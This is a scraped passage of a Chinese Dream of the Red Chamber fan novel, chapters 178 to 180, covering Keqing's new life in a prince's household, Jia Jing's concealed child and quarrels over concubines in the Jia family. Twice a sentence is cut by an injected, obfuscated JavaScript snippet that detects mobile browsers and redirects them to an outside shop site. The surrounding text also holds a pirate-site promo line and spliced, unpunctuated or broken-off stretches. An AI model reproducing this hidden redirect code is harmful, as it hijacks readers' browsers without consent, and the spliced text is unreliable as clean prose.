可卿听了略放下心来她初来乍到身边没个认识的人宝珠瑞珠虽说略有些规矩不齐全但她还是愿意留在身边的。 胡嬷嬷便引着院子里的丫头婆子都进来了一等的之前都是跟着胡嬷嬷一起去接人的之前就报了名字可卿又认了一回又听胡嬷嬷的话按照等级都给放了赏连着粗使的丫头婆子也一人得了三百钱。 可卿虽说养在秦家倒不是那等嗜钱如命的反倒是挺大方下头这些丫头婆子拿了赏钱心里也是一定。都是伺候人谁不想伺候个大方的主子呢! 这边可卿刚问过了几个大丫头的擅长给分派了差事佳婉佳姝就过来了。 之前说好了过来帮着可卿收拾屋子两人之前就先叫人过来问了一回知道可卿醒了便联袂而来可卿忙起身迎了过去。 说是收拾屋子但可卿毕竟是初来乍到 盒都是官窑的宣瓷,许多东西,她根本就不认识,只是一看就知道是好东西。刚刚睡醒了,下头送了一盏蜜水过来,那茶盏摸在手里,竟是如同美玉一般。 好在这会儿太阳也已经落了下去,几个女孩子便说起了收拾院子的事情,这个说,可以种几棵海棠,那个说,可以种几丛竹子,两人又拉着可卿去看了自己院子里的秋千,倒是叫可卿有些心动。 其实原本顾晓也并不叫几个孩子跑到正院吃饭,都是叫她们自个去厨房提菜。但如今可卿初来乍到,怕她不习惯,便干脆叫几个孩子都过来。 几个男孩子都不是很在意这个,徒嘉钰常年在弘文馆读书,休沐回来,本来也都是要在顾晓这边吃的,末儿对于口腹之欲没什么讲究,倒是喜欢叫膳房给他两条狗做狗粮,听说狗不能多吃盐,容易掉毛,就专门烤了一些没调料的肉干,专门给两条狗吃。 徒嘉泽其实也一样,他肠胃一直都有些弱,生冷厚腻的东西都不能吃。也就是这些年,才不吃药膳了。药膳这玩意,一般人真没法做得多好吃,或多或少,都会带着一些药味,许多味道比较好,药食同源的东西,他都不能吃,最多就是吃点山药。那些香料,多半性热,他能吃的也少,这么多年下来,即便现在需要忌口的少了,但对于美食,也没那么多期待。 到了吃饭的点,几个男孩子先后过来,李氏没来凑这个热闹,她哪怕现在看开了,但是也觉得,近些日子还是不要见可卿来得好,免得让人觉得自己就是个笑话。 顾晓还是秉承着后世的健康饮食观念,之前做社畜的时候,做不到这点,毕竟经常加班的人,晚上少吃一点,半夜都能饿得两眼发绿,都得拿出手机点个夜宵的。如今有钱有闲,也没别的事情,自然得想着养生。 因此,正院这边的晚餐,相对就比较清淡,没有那等肥腻之物,也尽可能吃鸡鸭鱼虾,而不是猪牛羊这样的红肉,蔬菜菌菇也都是一年四季都有。 几个孩子对此都挺习惯,可卿在秦家本来也吃不到什么贵重的食材,甚至做不到每天都有肉,也就是之前秦钟出生,因为身体有些弱,大夫建议让秦妻自个哺乳,秦妻年纪也大了,怕奶水不足,那几个月餐桌上才多添了一些鱼肉,多半是给秦妻补身体的。 可卿虚岁才十二岁,对于顾晓来说还是个孩子,之前是对她好奇,如今真见到了,再想到贾珍,愈发心疼起这个小姑娘来,明明是金枝玉叶,婚事上虽说有贾敬做主,看起来也是个好归宿,但她年纪比贾蓉要大好几岁,夫妻两个很难培养出什么感情来,贾蓉跟着贾珍,也早学坏了,宁可跟堂兄弟贾蔷一起厮混,对于妻子并不上心,最终竟是落到了贾珍手里。 最后事发了,贾珍哭上一场,之后该怎么过还是怎么过,照旧花天酒地,连着两小姨子都不想放过,可卿却是付出了自己的生命,说不定在知情的人嘴里,还要被骂一顿,觉得是她轻浮放荡,以至于此。 想着可卿原本的命运,顾晓自然要多照应她一些。顾晓既然表现出了这样的态度,那些下人对可卿自然也不敢怠慢,时间长了,可卿慢慢也放下了心中那点不安,恢复了小女孩的活泼性情,能跟几个哥哥姐姐开玩笑了! 而宫里头又传了话出来,说是太上皇想要见一见可卿。 作者有话要说 第 179 章 太上皇只单独要见... 第179章太上皇只单独要见 太上皇只单独要见可卿,对外给出的理由是可卿多年流落在外他难免多关照一些算是勉强说得过去。 不知道内情的,只以为太上皇是好奇什么样的天仙,能叫先平王丢下李氏那个表妹,也要纳了去。 贵太妃就属于不知道内情的,甚至还听了外头贾敬和平王与那位不知名女子不可不说的故事自然好奇。她那会儿也在大明宫,瞧见可卿的模样,不免就琢磨着其母定然也是个风华绝代的女子难怪叫人倾心 而太上皇却在可卿脸上看到了义忠亲王的几分模样,不免有些怅然。当然,面上太上皇却是不显,和和气气地问了可卿一些在秦家的事情龙颜大悦之下又赏了秦业二百两银子,十匹宁绸,十匹绵绸,十匹花罗十匹素罗然后又赏了可卿一套头面,一面描金玻璃大妆镜,一座独山玉香炉,一领牙簟。 可卿出宫的时候都有些战战兢兢,顾晓安慰道:“你在外头十来年,都没顾上你上皇也是心疼孙女呢!这些都是好东西回去正好就能用起来。” 见顾晓一副习以为常的样子可卿还以为以前佳婉佳姝也得过类似的赏赐不免放松了一些。当然她回去之后私底下打听了一下就知道这事之前没什么先例毕竟太上皇儿子就多孙子孙女更是一大把放在他面前身边没人提示他连人都认不出来也就是年节的时候按照常例赏赐点金银哪有这样的手笔。她也不敢在佳婉佳姝那里提顾晓说让她用起来她瞧着两个姐姐那边好东西也多虽说没有牙簟却也有几样牙雕因此便只是将牙簟和头面收了起来妆镜摆到了卧室香炉也用了起来。 佳婉佳姝过来瞧见也不觉得有什么异样还说道:“这些年玻璃妆镜比之前花样多了以前都是洋货贵且不说式样也少谁家有个玻璃碗都当宝贝一样。前几年琉璃厂那边能烧出大块的透明玻璃了这玻璃镜也就没那么稀罕了!母妃应该也给妹妹准备了玻璃靶镜吧什么样子的?我的是菱花的二妹的是葵花的!”说着便各自从荷包里头拿出来给可卿看。 可卿之前不出门见客也没带靶镜的习惯便叫身边丫头从 妆盒里头拿了过来,嘴里说道:“我这是六葵的,亏得怎么做得出来这样的形状,又不是铜镜! 佳姝笑道:“这有什么做不出来的,无非就是难做的更贵一些罢了! 说了一会儿镜子,几个小女孩又凑一块调香,光是制作香饼的模具就拿了一大堆出来,可卿看了一会儿,也跟着摆弄起来。 可卿开始进入了岁月静好的状态,宁国府那边,如今却乱糟糟的。 贾敬虽说在太上皇那边总是一副不服气的模样,但是看在他救了可卿的份上,太上皇对他也宽容,见他真的要出家修道,干脆叫他领了道录司的职位。 道录司的职位很闲,又不用天天上衙点卯,贾敬多半时间还是耗在玄真观,不过白领一份俸禄罢了。 他那次搞了一次无遮大会,被戴权与夏守忠撞了个正着之后,对此事也有了些忌讳,回来便遣散了那些伴作坤道的女子。将人安置到了贾家附近的一个庄子上。 结果,前儿个有人过来禀报,说是有个女子怀孕了,询问贾敬的意思。 贾敬问了一下怀孕的人是谁,发现竟是与自己双修过的那个。玄真观那些道士因为寻常花用的都是贾敬这个大财主的钱,因此,有的事情还是比较上道的,比如说,贾敬亲近过的女子,他们都不会去沾手。这么一来,这孩子就是贾敬的了! 贾敬这辈子就贾珍一个儿子,还是个不成器的。虽说如今被贾赦拎到京营改造去了,但能再有一个孩子,贾敬还是欢喜,只是,他在外头修道,修出了个孩子这事,难免有些混账,说出去更不好听。 他左思右想,觉得这个孩子得留下来,还得有个体面的说法,因此,便叫人找来了徐氏,跟她商议起来。 徐氏一开始听说这事,差点没气死!好哇,我来找你,你就是一心修道,不恋红尘,结果呢,孩子都怀上了!你就是这个出家法? 但是贾敬也是个能屈能伸的,对着徐氏各种打躬作揖,赔笑道歉,表示自己就是被那些道士忽悠了,听他们说什么阴阳调和,合籍双修之事,一时冲动,结果谁知道一次就中了呢? 贾敬之前跟徐氏也是蜜里调油过的,跟他儿子不同,贾敬原本就是有些清心寡欲的性子,徐氏也给贾敬安排过通房,但贾敬几乎不怎么去通房那里。因着贾珍不 成器,徐氏也后悔过,怎么就生了这么一个儿子,连个备胎都没有。如今既然是有了好消息,那就生下来,横竖贾珍已经袭了爵,以后便是贾珍没了,家业也是贾蓉的,一个庶出的儿子,又算得了什么,好好教养,以后还能给蓉儿做个臂膀。 这般一想,徐氏也就心软了下来,跟贾敬商议着,不管是男是女,便干脆记在自己名下,当做是自己生的。那生了孩子的丫头,回头陪上一笔嫁妆,嫁出去便是了。如此,最多就是贾敬跟徐氏老夫老妻的,久别重逢,冲动了一回,不至于被人说成是贾敬老不修,打着在外头修道的名义,做些YIN乱之事。 但是,之前那些乱七八糟的道士该撵出去,还是得撵出去。徐氏早看不惯这些人了,真要是会炼什么仙丹的,干嘛不跑到宫里头去,宫里太上皇就不想长生不死?搞到现在,居然还撺掇着贾敬玩些歪门邪道了! 贾敬自然都答应了下来。 在外人看来,自贾敬被上皇赐了官职之后,就像是反而对修道没那么痴迷了,虽说还是住在玄真观,缺遣散了大半的道士,只留了几个一心清修之辈。倒是徐氏也经常过去。好在贾敬本身也不是全真教的,而是正一门下,本也不忌婚嫁,要不然,那些道士也不会给贾敬那个建议。 等着那女子月份大了,徐氏不好将人带回去,因此便干脆带着人住进了玄真观的客院,连着贾蓉也被她接了过来,又选了几个嘴巴紧的婆子伺候那女子。 她这边只顾着玄真观,却是将府里的事情托付给了张氏,张氏帮着管了一阵,就有些吃力。 她当初怀着贾琏的时候吃了不少苦,之后也没完全养回来,如今委实是有些精力不济。要是贾瑚已经娶了妻,倒是可以将事情交给儿媳妇,偏生现在也没人能使唤,东府人口简单,没有主子,但是族里头还有不少事情,多有一些族人日子过得窘迫,三五不时上门来找饭辙,打秋风的。 这些里头不少还是代字辈的长辈,张氏在这些人面前也摆不出将军夫人的架子来,遇上胡搅蛮缠的,也只好忍着,等着入了冬,事情愈发多了起来,这个上门说自家揭不开锅了,那个上门说连袄子都买不起,又有求差事的,托关系的,零零总总一大堆,张氏实在撑不住了。 “珍哥儿如今如何了?”张氏找贾赦问道。 贾赦想了想,说道:“前几日问了一回,看着沉稳不少了,也老实了许多,今年也该叫他回来过年!” 张氏松了口气,说道:“敬大嫂子那边说什么敬大哥之前被那些混账道士糊弄,吃了不少稀奇古怪的东西,整个人也有些不像样,过去照应敬大哥去了!将东府和族里的事情交到我手里,我如今年纪也不小了,哪里管得了这些,还是珍哥儿早点回来,把凤丫头娶回来才好!” “凤丫头还小吧!”贾赦回忆了一下,“我记得比咱们冬生还小一点呢!” 鹅小说的域名qiexs?(请来企 鹅小说 看最新章节 完整章节) 张氏想了想,压低了声音,说道:“前阵子她娘带着她过来了,问了一下婚期!我打听了一下,说是她们现在住的地方,住的多半是一些低级武官,原本孩子年纪小,那边算是个好去处,起码不用担心有什么地痞混混,但如今,凤丫头出脱得那般模样,又不小心在外头露了出来,难免有人生出些心思来。” 贾赦听着皱眉,问道:“咱们家外头有没有合适的宅子,要不把人接过来?凤丫头便是嫁到东府,年纪小,辈分小,未必能压得住族里那些人!依我说,还是叫隔壁大嫂子回来自个操持!” 说着,他压低了声音:“大嫂子哪里是去照顾敬大哥的,是敬大哥在那边睡了个丫头,那丫头怀孕了,因为这事说出去不好听,大嫂子只好过去照应着,回头直接将孩子抱回来,充作是自己养的!依我说,这事遮遮掩掩作甚,叫大嫂子回来装作怀孕,在家仔细养胎。大嫂子这个年纪,也经不住繁冗,谁要是没事扰了大嫂子将养,也有理由将人打发掉!” 张氏瞪大了眼睛,徐氏这可瞒得真好,半点没叫自己知道,反倒是累得自己跟着悬心,她气恼道:“敬大哥也是个体面人,闹出这等不正经的事情,搅得咱们这些妇道人家跟着麻烦!” 贾赦摇摇头,说道:“你知道就好,别跟别人说,便是老太太那边,也不知道怎么回事呢!横竖便是生个儿子,也乱不了东府的传承,记在嫂子名下,也没什么不好!要是个女儿,有个嫡女的名头,以后说亲也体面!也是敬大哥哥膝下太过单薄,就珍哥儿一个,要是早就多生两个儿子,珍哥儿也不至于变成如今这个样子!” “好哇,老爷你嫌弃我只给你生了两个儿子是吧!”张氏一听,立马不干了,“来来来,老 爷你看上了谁家里的我立马喊来敬茶外头的我亲自去聘好多弄几个姨娘出来叫你多子多福!” 贾赦一听忙说道:“夫人我就是随口那么一说!何况这事是敬大哥那边做的我可从来没什么花花肠子啊!” 夫妻两个斗了一会儿嘴贾赦又做低伏小了一番才算是将这事给揭过去。 张氏想了想说道:“罢了家里头人多嘴杂的这事还是不要漏出去了叫大嫂子回来东府里那些下人一个个也是眼明心亮的回头在外头胡说八道又要叫人议论一回还不如我多辛苦一阵子!倒是大嫂子有孕的事情可以先放出去也叫下头那些人消停一下!” 徐氏“有喜”的事情叫贾史氏听说了顿时看着两个儿媳妇的眼神又是不善起来。 或者说是看着张氏眼神不善王氏那边赵姨娘才生了探春没多久呢如今贾政也多半是歇在赵姨娘那里说不得用不了多久就还会有好消息。 而张氏这边琏哥儿都老大了才有姨娘开了怀生了二丫头这之后又没了消息可见是张氏嫉妒。 贾史氏很是敲打了张氏一番一看自己身边的丫头便将翡翠叫了来说道:“这丫头跟着我也好些年了生得也齐整你带回去吧!” 张氏也不跟贾史氏对着干她直接笑道:“老太太调教好的人自然都是好的到时候就叫翡翠去我们老爷书房那边伺候!” 翡翠含羞带怯走到张氏面前行了一礼就站在了张氏身后。 一边王氏有点幸灾乐祸却摆出一副酸溜溜的模样说道:“还是老太太疼大嫂子 张氏笑道:“老太太弟妹觉得您不公平呢我看哪老太太您身边那些丫头个顶个的出挑不如再选一个出来给弟妹带回去吧!” 王氏傻了眼正想要说话就看见贾史氏点了点头笑眯眯说道:“我就几个得用的人你们就都惦记着!罢了罢了老二家的你一会儿也把玻璃领回去吧!” 王氏脸都僵了只得老老实实答应下来心里头却恨不得甩自己几个嘴巴子你多嘴作甚这下好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464950|117602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那赵姨娘生了个丫头都已经开始翘尾巴了如今再来个老太太赐下的。尤其玻璃生得不比赵姨娘 差,又被老太太调JIAO得特别会伺候人,贾政见了,还能忍得住? 张氏领着翡翠回去,果真将人安排到了贾赦书房。贾赦回来一看,顿时脸拉得比驴都长。 翡翠正要过来伺候,贾赦就不耐烦地说道:“老爷的书房,是随便什么人都能来的?” 翡翠忙说:“奴婢是老太太身边伺候的!” 贾赦见翡翠那副娇滴滴的模样,轻哼了一声,说道:“老太太让你来伺候本老爷?” 翡翠点了点头,轻声应道:“是老太太这样说的,老爷!” 贾赦露出个恶意的神情来,皮笑肉不笑地说道:“既然如此,老爷正有一件事要你伺候呢!” 说着,直接叫了人过来,吩咐道:“去把这位翡翠姑娘领到官房去,以后,就叫她在那边伺候!” 翡翠傻了眼,官房就是这年头的厕所,去厕所伺候是个什么意思?每天倒马桶吗? 还能更坏,不仅要倒马桶,还得刷马桶! 翡翠想要争辩,就被人阴恻恻盯着,顿时不敢吭声了,心里琢磨着,回头就想办法回荣庆堂,求了老太太去! 贾赦这人从来没有多少怜香惜玉之心,也不会觉得亲妈身边猫儿狗儿都得敬着,一个丫头罢了,难道他没叫她伺候吗?他倒要看看,老太太那边有几个丫头舍得拿出来。 贾史氏身边的丫头就那八个名字,从来都是换人不换名,旧的翡翠玻璃走了,自然有下头伶俐的小丫头顶上这两个名字,提上来伺候。 翡翠想要回去诉苦,不说她去不去得了荣庆堂,便是能去,贾史氏也只会觉得她无用,拢不住贾赦。 倒是贾政那边,王氏不过说了声,这是老太太给的,贾政便顺理成章收用了,等她听说大房那边翡翠的下场,愈发对贾政瞧不上起来。 好在多了个玻璃,倒是叫赵姨娘生出了几分斗志,生怕叫玻璃夺了自己的宠爱。她虽说不明着跟玻璃对着干,却对着贾政各种撒娇卖痴,玻璃毕竟是在贾史氏那边长大,不像是赵姨娘一般在贾政那里毫无矜持,不免很快落入了下风。 消息传到东院那边,叫张氏看足了笑话。徐氏有孕的消息已经传出去了,玄真观那边又传了消息,说是今年过年会多给各家一些年货,这些人也消停了下来,想着等着这一胎 生下来应该还能再占一点便宜然后张氏就轻松了不少。 之前按照贾赦的意思将荣宁街后街那些家生子还有部分族亲的宅子给拆了族亲的宅子直接置换家生子给安置到了其他地方如今新院子也建得差不多了。 及到过年的时候张氏带着贾瑚到王府来拜年就将此时跟顾晓一说言下之意就是可以去量屋子打造陪嫁家具! 这年头像是拔步床这样的嫁妆造个两三年也是寻常。 因此顾晓倒也没有被亲家催婚的感觉反倒是瞧着贾瑚生得俊秀斯文有种丈母娘看女婿的感觉。但是这想法也就是一闪而过想着自己说不定再过几年就要做祖母心里的小人都开始哀嚎起来她自觉自己还是个宝宝呢怎么一下子 心里抓狂顾晓面上却是半点不露上辈子她要是有这样的城府也不至于在公司连个管理层都混不上了!她只是笑道:“表姐如今在你们府里头可还有什么不顺心的事情?” 张氏笑道:“哪里还有什么不顺心我家老爷如今忙着差事也无什么花花肠子之前老太太说是担心他辛苦给了他一个丫头娘娘猜怎么着?他直接把人打发到官房去了!人家好歹在老太太那边最多就是捧捧脸盆到了我们那里就是落得粗使的地步听说私底下哭了好几次呢!我想着等着老爷把这人给忘了就将那丫头打发出去配了人也省得继续留在府里生出什么心思来!” 顾晓听得忍不住一笑这贾赦倒是个会恶心人的!又听张氏说道:“两个孩子的院子我们都修在后头只有一道门跟我们那边院子通着跟荣庆堂不通回头要是去荣庆堂还从我们那里走!” 这意思就是贾史氏要是想要作妖根本绕不开贾赦张氏两口子回头贾瑚他们也不用直接面对贾史氏能够省掉许多麻烦。 顾晓听得满意张氏还怕顾晓嫌贾瑚不够出息忙又说道:“今年又有一科秋闱瑚儿这两年读书也算是用心先生说他下场也有几分把握了我想着回头瑚儿身上功名高一些说出去也更体面一些!” 顾晓忙说道:“这般着急作甚这科举的事情我虽说不曾真的经历过却也听说过一些熬人得很!横竖瑚哥儿还小呢多读几年书积累一下岂不是更好!” 张氏解释道:“是瑚儿自己不服气之前宋大儒家的孙子不满二十就中了进士虽说不是三鼎甲却也是二甲靠前之后直接考入了翰林院做了庶吉士谁不夸赞呢!瑚儿也是个心气高的人家二十之前中进士他起码得二十之前中举人吧!所以憋着一口气呢!他上次也已经试过一次也知道厉害肯定不会叫自己受罪的!” 顾晓听了点了点头笑道:“瑚哥儿晓得轻重就好依我说啊什么都是虚的身子才是根本呢!” 张氏听顾晓这么说也没真的当真别看诗里头说什么悔教夫婿觅封侯但真到了那个时候谁不希望夫荣妻贵呢!真要是贾瑚是个吃软饭的只怕平王府这边又不高兴了。 贾瑚那边却是没见到佳婉徒嘉钰又帮忙做了一回信使瞧着贾瑚一副失落的模样有些幸灾乐祸道:“叫你急着要提亲等着瞧吧这以后啊不到真的成婚你们是见不着了!” 作者有话要说 恭喜你可以去给书友们剧透最新章节了,他们一定会“羡慕嫉妒恨”的 第 180 章 江南各家事 第180章江南各家事 贾瑚不知道的是,实际上,这会儿佳婉就在徒嘉钰院子里头呢,刚刚还带着两个妹妹隔着屏风看了一回。 佳婉佳姝都是见过贾瑚的,不过那时候还小,等大了一些之后,贾瑚便是上门,也只是来正院给顾晓问个安,并不跟家里两个姑娘打照面。 可卿如今也显露出几分女孩子的天真活泼来,知道未来姐夫来了,便撺掇着想要看一眼。她之前在秦家被憋屈得狠了,除了秦业和秦钟,就没见过别的男人,如今王府地方大,虽说也少有能出二门的时候,但毕竟挪腾的空间大,而且还能找姐妹们串门。佳婉佳姝也将这个妹妹带进了自己的社交圈子,半年时间,已经跟着出了几次门。 可卿如今也渐渐淡忘了之前的一些疑惑和担忧,总算是看起来像这个年纪的小女孩了,无忧无虑,还有些顽皮。 佳婉和佳姝其实也想要看,只是之前没想过还能在徒嘉钰那里偷看,被可卿一撺掇,便跑去找了徒嘉钰。 徒嘉钰这边的院子,原本也有前后门,徒嘉钰带着贾瑚从前门进来,得了消息的姐妹三人就从后门进去。徒嘉钰这边有一扇八面的缂丝山水屏风,姐妹三个就去了身上可能会发出声响的东西,隔着屏风看了一会儿,然后又屏气敛声,悄悄从后门出来,回了内院。 刚刚去看的时候有些兴奋,回来之后,就有些紧张,佳姝叽叽喳喳说道:“刚刚可提着一口气呢,生怕发出什么动静,被听见了!” 可卿笑嘻嘻说道:“大姐夫一表人才,大姐姐可要高兴了!” 佳婉脸一红,虽说前些年见过贾瑚,但那会儿贾瑚还是个孩子,虽说也生得好,但也不像是如今这般,人长开了,个子也高,这个年纪,还在变声期,有点公鸭嗓子,但他斯斯文文的,并不高声大气,因此,倒也不让人觉得声音不好听。 尤其,贾瑚虽说读书,但是经了一次科考之后,觉得身体很是重要,又找了家里的亲兵,学着张弓射箭的本事,好锻炼身体,因此,虽说抽了条,却不显得瘦削,反而宽肩细腰,简直是天生的衣服架子。 贾家那边,便是张氏出身清流人家,但是家里几代人的审美也没怎么变,便是男子,也喜欢穿红,尤其如今还在 正月里头,贾瑚外头就是一条大红猩猩毡的斗篷,里面倒不是红色,而是香色哆罗呢箭袖,头上戴着一顶金冠,看起来愈发英姿勃发。 佳婉心中满意,便是之前看了顾晓推荐的一些传奇话本之后,不再恋爱脑了,可是未来丈夫长得俊秀,总比生得寻常好,所谓秀色可餐,有个好看的丈夫,坐一起吃饭都更香一些。心里这般想,但可卿这么说,她不免有些羞恼,伸手轻轻拧了可卿的腮帮子一下,嘴里说道:“好你个三妹妹,回头啊,看你能找个什么样的三妹夫呢! 可卿还没开窍,倒没什么想法,倒是佳姝怔忪了一下,大姐姐有了如意郎君,过两年就轮到自己,到时候,自己的丈夫会是什么人呢? 瞧着佳姝神态,佳婉和可卿都是掩口吃吃一笑,等着佳姝回过神来,不免也有些不好意思,忙说道:“正说大姐夫呢,看我作甚! 佳婉见佳姝快要恼羞成怒,忙说道:“老是说他作甚,难不成你们两个现在就想要我出门子?我还想在家多赖几年呢! 女孩子在家是娇客,出嫁了就没这么自在了! 从定下婚约之后,佳婉看着还跟之前一样,实际上身边的教引嬷嬷,乃至女先生私底下都会跟她说一些夫妻相处之道。虽说佳婉是郡主,但贾瑚也不是寒门。本朝公主也多半是嫁入有爵人家,就这样尚且也不得肆意,何况一个郡主。 佳婉的优势一个是平王府或多或少与贾赦他们一房有些恩情,但这却是不能挂在嘴边的,免得以后反而因此生出怨恨来,另一个优势,就是,佳婉是贾瑚自个求娶的,勉强算得上青梅竹马,日后便是夫妻感情淡了,也还有这一重在,日子总归能过得下去,不至于成了怨偶。 当然,这些话嬷嬷也不会明说,女先生是青年守寡,却丈夫活着的时候,也是夫唱妇随,夫妻和顺。她当年也曾有过一些怨恨,如今年岁上来了,想起从前那些时光,反倒是生出许多怀念来。 佳婉听了这些话,心里难免有些患得患失,哪怕贾瑚看着是个靠谱的,但终究不像是在娘家一样,更有安全感,所以,她说在家里多赖几年,那还真是实在话。 佳姝笑嘻嘻说道:“就怕某人嘴上这么说,心里头早就盼着穿嫁衣了! 佳婉气得掐了佳姝一把:“竟会胡沁,我看呐, 不是我盼着,你是盼着吧! 瞧着两个姐姐在那里斗嘴,可卿抿着嘴偷笑。她现在很能理解一句话,贫贱夫妻百事哀。便不是贫贱夫妻,应该说是贫贱之家百事哀!秦家算是好的了,起码还是官宦人家,只是底子薄罢了,但秦业是个厚道的,贾敬给的补贴,几乎都花在了可卿身上,家里就抠抠搜搜的,然后家里因为人情往来还有一些别的事情,有的时候还要打饥荒,自然大家多有抱怨之语。 而王府这边,别说什么针头线脑了,便是衣裳首饰,大家也都不在意。去年冬天的时候,顾晓给家里几个孩子一人准备了一身孔雀羽织金妆花缎做的新斗篷,其实也就是红楼里说的雀金裘,这玩意还真不是舶来品,也是中原的传统工艺,隋唐那会儿就有了,如今更是应用到了缂丝之类的织物上头。只是虽说有这个技术,但这料子还是极为贵重,毕竟,光是用孔雀羽捻线织入衣料之中就不是什么容易的事情,因此,这玩意便是熟练的工人,一天也织不出一寸来。 顾晓能给家里几个孩子各做一件,还是因为今年船队从南洋那边得了一根足有一人环抱粗细的乌木,运下船的时候正好叫人看见了。那边想要给长辈打造一副乌木的棺材,便求了上门。顾晓对这玩意没什么想法,真要是死了之后,弄个什么千年不腐的棺木,回头人家考古挖出来,那可就有“意思了,要不是这年头还是主张入土为安,顾晓恨不得这辈子也火化,免得将来被挖出来,被人考据一场,还要被人评头论足一番。不如一把火烧个干净,留个衣冠冢,随便后人怎么考古了! 至于留给隆安侯夫妇,顾晓也没这个想法,隆安侯府素来低调,可不会出这样的风头。 因此,得知消息之后,便吩咐下头直接在江南卖了,价高者得。这玩意是真贵,还有价无市,最后有人拿不出足够的钱来,便拿了这料子抵钱。管事知道顾晓应该会喜欢这样的料子,自作主张先答应下来,随后便快马加鞭送进了王府。 顾晓得了这个,果然喜欢得很,以前只能在博物馆,在屏幕上看到,如今能看到实物,自然心满意足。她不是喜欢把好料子藏在仓库里头,多少年不用的人。因此,当即就叫人选了玄狐皮、银狐皮、紫貂皮做里子,给几个孩子一人做了一件斗篷。当然,她自己也有,只是做好了穿出去太高调 ,因此只在自己府里头穿了几回。 斗篷到了手,几个孩子便闹着要穿,没多久赶上下雪,还穿着斗篷在雪地里玩了一会。佳姝那件就因为去折梅花的时候被树枝勾住,破了个洞。放在外头,别说是这样贵重的衣裳,便是寻常穿的衣服刮了丝,破了洞,甚至哪怕是沾了脏污,都要被家里头一番数落。而顾晓知道这事之后,直接叫人在外头找了个会缂丝的织工,叫她帮忙将斗篷补好了,送回来跟以前没什么区别。 所以,不管什么时候,某种意义上来说,物质富裕了,才有精神富足的余地。要不然,天天为个三瓜俩枣的磨牙,甚至吵吵闹闹,再多的心气,也磨没了。 半年的时间,已经将可卿的心气养了出来,她这会儿笑得明媚,原本还在打闹的佳婉佳姝看见,都有些呆住了。她们两个也算长得秀美了,但是跟可卿一比,还是差了不少,两人倒也没有嫉妒的意思,她们这样的身份,犯不着以色侍人。佳婉忍不住说道:“我以前看《世说新语》,看到我见犹怜的典故,还以为是夸张呢,如今看起来,果然没错! 佳姝也是点头,心里也是道一声怪不得。也就是父王走得早,要不然,这位的生母接进来,只怕侧太妃那边早就不知道被挤到哪个墙角旮旯里头去了!当然,这话肯定不能当着可卿的面说,毕竟死者为大嘛!府里头就她没个亲娘,虽说有养父母,却终究不是亲生的。饶是如此,她也是个知恩图报的性子,如今逢年过节的,虽说不怎么方便登门,却也准备了年节礼,叫人送到秦家去。当然,王府这边,顾晓也没因为可卿接回来了,就直接跟秦家那边断了关系,反而当做正经亲戚走动了起来。 原著里头,秦家也是可怜,可卿死了,秦钟又跟着贾宝玉在贾家家学里头沾上了毛病。当然,秦钟自个也有毛病,姐姐还出殡呢,他就跟小尼姑一起厮混,只是却也罪不至死! 如今既然有可卿这么一重关系在,顾晓拉一把秦家,秦钟也不至于到后来,连个读书的去处也没有,只能去贾家家学。 在顾晓看来,红楼梦大概可以归结于一句话,不要靠近贾宝玉,会变得不幸!这里头外姓的亲戚,大抵都是如此。当然,薛家那是自个贪心,退而求其次求到了贾宝玉头上,那能有什么好! 秦家那边的事情,无非就是 无钱而对于顾晓来说指头缝里漏出一点就足够他们一家子过上小康生活了这等举手之劳顾晓还是乐意做的。 而不是举手之劳的事情也有张氏过来跟顾晓说起家里的事情说着说着就说到了林家身上。 林如海做了巡盐御史自然也有想要拉拢贿赂的就有人给送了几个美人进了后院。 后来不是圣上叫人打着查拐子的名义追查白莲教的事情嘛!林如海是个灵醒的人一开始留着那几个美人一方面是官场上讲究一个和光同尘林如海又想要做什么孤臣因而自然是收下了另一方面也是他得帮着圣上搞清楚江南这边盐政上的情况因此 毕竟贾敏不是那等愚妇也能明白林如海的意思何况林如海明摆着没真的收用了那几个美人贾敏因此将人找了个院子安置起来好吃好喝养着等过几年林如海任期满了调任他处的时候就可以拿一笔钱将她们打发掉。 饶是如此后来府里还是出了事。贾敏好容易又生了个儿子竟是有人在乳母身上做了手脚一丁点大的孩子上吐下泻要不是正好遇上个告老回乡的老太医这孩子就这么没了。 张氏说着就是骂道:“都是些没心肝的东西尽在阴私上头下功夫连个小儿都不放过!我家老爷知道了这事直接花了大价钱聘了个小儿科的大夫给扬州那边送了过去!妹妹这个年纪才有了一子一女真要是出了什么事只怕是受不住!” 顾晓问道:“可知道是什么人暗中做鬼?” 张氏摇头说道:“扬州那边信里头说得不尽不实的要不是问了送信的人我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508391|117602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不知道内情!只怕是有些不好对外说的缘故!如今江南那边情况也说不清楚。我们府里本来在江南就有好几房族人还留了几房下人在那里看屋子。这些年除了扶灵回去守孝那一回之后也就是珠哥儿回去考试在老家那边住 了一阵子他年纪轻许多事情也不知道被那些族人糊弄了也说不准。” 顾晓想到同人文里面说王氏跟妹子一起偷着卖了贾家祭田的事情犹豫了一下还是说道:“你们就没打发人回去看看?这一大家子十几个房头总不能都指着你们两府总要叫他们上进不能读书也可以习武便是不习武学着些经济之事也好到时候出去做个账房什么的 张氏一愣说道:“这我倒是不知道祭田的事情应该还是老太太的人管着!不过这事倒是也可以回去跟隔壁大嫂子商议一下!” 